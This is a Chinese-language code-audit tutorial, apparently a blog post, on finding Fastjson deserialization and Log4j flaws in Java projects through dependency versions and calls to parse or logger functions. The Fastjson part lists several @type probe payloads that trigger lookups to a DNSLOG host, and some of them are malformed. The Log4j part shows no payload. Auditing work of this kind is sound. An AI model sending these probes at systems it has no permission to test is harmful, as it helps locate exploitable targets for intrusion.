FastJson:
FastJson是阿里巴巴开发的JAva语言编写的高性能JSON库,用于将数据在JSON和Java相互转换两个主要的接口是JSON.toJSONString和JSON.parseObject/JSON.parse,分别实现序列化和反序列化操作。
反序列化简述:
Fastjson反序列化漏洞简单来说是出现在将JSON数据反序列化过程中出现的漏洞。
攻击者可以传入一个恶意构造的JSON内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行
寻找漏洞点:
已确实Fastjson版本存在问题,进一步寻找触发Fastjson的漏洞点。我们关注两个函数
JSON.parse() 和 JSON.parseObject() 全局搜索两个关键字或者JSONObject.parseObject() ,发现本项目在JSON.parseObject()
1 2 3 4 5 6
| <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.58</version> </dependency>
|
进行利用:
1 2 3 4 5 6 7 8 9 10 11
| {"@type":"java.net.Inet4Address","val":"DNSLOG.cn"} {"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}} {"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"} {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""} {{"@type":"java.net.URL","val":"dnslog"}:"aaa"} Set[{"@type":"java.net.URL","val":"dnslog"}] Set[{"@type":"java.net.URL","val":"dnslog"} {{"@type":"java.net.URL","val":"dnslog"}:0
|
Log4j:
Log4j是apache的一个开源日志记录工具,最初于 1999 年发布,是 Java 生态中最常用的日志框架之一。它提供了灵活的日志记录机制,允许开发者在应用程序中控制日志的生成、级别、输出格式及目的地(如控制台、文件、数据库等),帮助追踪程序运行状态、排查错误和分析性能。
该组件漏洞主要发生在引入的 log4j-core ,只引入了 log4j-api 是不存在该问题的,log4j-core是源码,log4j-api是接口。pom.xml 文件引入log4j组件情况如下所示,引入了log4j-core,以及版本为 2.10.0 基本确定存在问题,验证还需要进一步寻找触发的漏洞点
1 2 3 4 5 6 7 8 9 10 11 12
| <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.10.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.10.0</version> </dependency> </dependencies>
|
寻找漏洞点:
搜索关键字logger,logger.info 和 logger.error(一般以 这个为调试)
logger.info 一般用于记录程序运行的一般信息,如进程启动、操作成功等;logger.error 则用于记录错误和异常信息,如未处理的异常、数据库连接失败等,以便进行问题排查和处理。info 打印正常状态信息,warn 表示轻微不合理但不影响运行,error 表示系统错误和异常。